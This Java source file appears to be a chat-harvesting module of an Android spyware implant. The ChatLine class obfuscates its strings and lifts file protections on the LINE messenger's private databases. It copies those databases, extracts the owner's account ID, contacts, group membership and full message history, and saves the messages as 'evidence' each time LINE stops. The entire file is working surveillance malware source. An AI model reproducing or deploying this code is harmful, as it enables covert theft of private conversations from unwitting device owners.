package com.android.dvci.module.chat; import android.database.Cursor; import com.android.dvci.auto.Cfg; import com.android.dvci.db.GenericSqliteHelper; import com.android.dvci.db.RecordHashPairVisitor; import com.android.dvci.db.RecordStringVisitor; import com.android.dvci.db.RecordVisitor; import com.android.dvci.file.Path; import com.android.dvci.util.Check; import com.android.dvci.util.StringUtils; import com.android.mm.M; import java.io.IOException; import java.util.ArrayList; import java.util.Date; import java.util.List; import java.util.concurrent.Semaphore; public class ChatLine extends SubModuleChat { private static final String TAG = "ChatLine"; private static final int PROGRAM = 0x0d; String pObserving = M.e("jp.naver.line.android"); String dbFile = M.e("/data/data/jp.naver.line.android/databases/naver_line"); String dbAccountFile = M.e("/data/data/jp.naver.line.android/databases/naver_line_myhome"); Semaphore readChatSemaphore = new Semaphore(1, true); private Date lastTimestamp; private long lastLine; private String account = ""; private String account_mid = M.e("mid"); private GenericSqliteHelper helper; @Override public int getProgramId() { return PROGRAM; } @Override String getObservingProgram() { return pObserving; } @Override void notifyStopProgram(String processName) { start(); } @Override protected void start() { if (!readChatSemaphore.tryAcquire()) { if (Cfg.DEBUG) { Check.log(TAG + " (readViberMessageHistory), semaphore red"); } return; } try { lastLine = markup.unserialize(new Long(0)); if (Cfg.DEBUG) { Check.log(TAG + " (start), read lastLine: " + lastLine); } Path.unprotect(dbAccountFile, 3, true); helper = GenericSqliteHelper.openCopy(dbAccountFile); if (helper == null) { return; } List<String> mymids= new ArrayList<String>(); try { RecordStringVisitor visitor = new RecordStringVisitor("mid"); helper.traverseRecords("my_home_status", visitor); mymids = visitor.getRecords(); }finally{ helper.disposeDb(); } helper = GenericSqliteHelper.openCopy(dbFile); if (helper == null) { if (Cfg.DEBUG) { Check.log(TAG + " (ChatLine) Error, file not readable: " + dbFile); } return; } try { account = readMyPhoneNumber(mymids); long lastmessage = readLineMessageHistory(); if (lastmessage > lastLine) { if (Cfg.DEBUG) { Check.log(TAG + " (start) serialize: %d", lastmessage); } markup.serialize(lastmessage); } }finally { helper.disposeDb(); } } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (notifyStopProgram) Error: " + e); } } finally { readChatSemaphore.release(); } } private String readMyPhoneNumber(List<String> mymids) { RecordHashPairVisitor visitorContacts = new RecordHashPairVisitor("m_id", "name"); helper.traverseRecords(M.e("contacts"), visitorContacts); for (String pmid : mymids) { if (!visitorContacts.containsKey(pmid)) { if (Cfg.DEBUG) { Check.log(TAG + " (readMyPhoneNumber) found mid: %s", pmid); } account_mid = pmid; // break; } } RecordStringVisitor visitorContent = new RecordStringVisitor("content"); visitorContent.selection = M.e("server_id is null"); helper.traverseRecords(M.e("chat_history"), visitorContent); for (String content : visitorContent.getRecords()) { String[] lines = content.split("\n"); for (int i = 0; i < lines.length; i += 3) { String mid = lines[i + 1]; String name = lines[i + 2]; if (!visitorContacts.containsKey(mid)) { if (Cfg.DEBUG) { Check.log(TAG + " (readMyPhoneNumber) my name is: %s, mid: %s", name, mid); account = name; if (!mid.equals(account_mid)) { if (Cfg.DEBUG) { Check.log(TAG + " (readMyPhoneNumber) Error: %s!=%s", mid, account_mid); } } if (StringUtils.isEmpty(account_mid)) { account_mid = mid; } } } } } return account; } @Override protected void stop() { if (Cfg.DEBUG) { Check.log(TAG + " (stop), "); } } private long readLineMessageHistory() throws IOException { try { Path.unprotect(dbFile, 3, true); Path.unprotect(dbFile + "*", true); // GenericSqliteHelper helper = // GenericSqliteHelper.openCopy(dbFile); // helper.deleteAtEnd = false; final ChatGroups groups = getLineGroups(helper); String sqlquery = M.e("select chat_id, from_mid, content, ch.created_time, sent_count , name from chat_history as ch left join contacts as c on ch.from_mid = c.m_id where type=1 and ch.created_time > ? order by ch.created_time "); String[] projection = new String[]{M.e("chat_id"), M.e("from_mid"), M.e("content"), M.e("ch.created_time"), M.e("sent_count"), M.e("name")}; final ArrayList<MessageChat> messages = new ArrayList<MessageChat>(); RecordVisitor visitor = new RecordVisitor(null, null) { @Override public long cursor(Cursor cursor) { String chat_id = cursor.getString(0); String from_mid = cursor.getString(1); String content = cursor.getString(2); // localtime or gmt? should be converted to gmt long created_time = cursor.getLong(3); Date date = new Date(created_time); int sent_count = cursor.getInt(4); String from_name = cursor.getString(5); boolean incoming = false; String to = account; String to_id = account_mid; if (from_name == null) { from_name = account; from_mid = account_mid; incoming = false; to = groups.getGroupToName(from_name, chat_id); to_id = groups.getGroupToId(from_name, chat_id); } else { incoming = true; to = groups.getGroupToName(from_name, chat_id); to_id = groups.getGroupToId(from_name, chat_id); if (to == null) { to = account; } } if (Cfg.DEBUG) { Check.log(TAG + " (readLineMessageHistory) %s\n%s, %s -> %s: %s ", chat_id, date.toLocaleString(), from_name, to, content); } MessageChat message = new MessageChat(PROGRAM, date, from_mid, from_name, to_id, to, content, incoming); messages.add(message); return created_time; } }; long lastmessage = helper.traverseRawQuery(sqlquery, new String[]{Long.toString(lastLine)}, visitor); getModule().saveEvidence(messages); return lastmessage; } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (readLineMessageHistory) Error: ", ex); } } return lastLine; } private ChatGroups getLineGroups(GenericSqliteHelper helper) { // SQLiteDatabase db = helper.getReadableDatabase(); final ChatGroups groups = new ChatGroups(); RecordVisitor visitor = new RecordVisitor() { @Override public long cursor(Cursor cursor) { String key = cursor.getString(0); String mid = cursor.getString(1); String name = cursor.getString(2); if (mid == null) { return 0; } if (mid.equals(account_mid)) { name = account; } if (Cfg.DEBUG) { Check.log(TAG + " (getLineGroups) %s: %s,%s", key, mid, name); } if (name != null && mid != null) { groups.addPeerToGroup(key, new Contact(mid, name, name, "")); } else { if (name == null) { groups.addPeerToGroup(key, mid); } else { groups.addPeerToGroup(key, name); } } return 0; } }; String sqlquery = M.e("SELECT chat_id, mid, name FROM 'chat_member' left join contacts on chat_member.mid = contacts.m_id"); helper.traverseRawQuery(sqlquery, null, visitor); sqlquery = M.e("select chat_id, owner_mid, name from chat as ch left join contacts as c on ch.owner_mid = c.m_id"); helper.traverseRawQuery(sqlquery, null, visitor); sqlquery = M.e("select distinct chat_id, from_mid, name from chat_history as ch left join contacts as c on ch.from_mid = c.m_id where from_mid not null"); helper.traverseRawQuery(sqlquery, null, visitor); groups.addLocalToAllGroups(account); if (Cfg.DEBUG) { for (String group : groups.getAllGroups()) { String to = groups.getGroupToName(account, group); Check.log(TAG + " (getLineGroups group) %s : %s", group, to); } } return groups; } }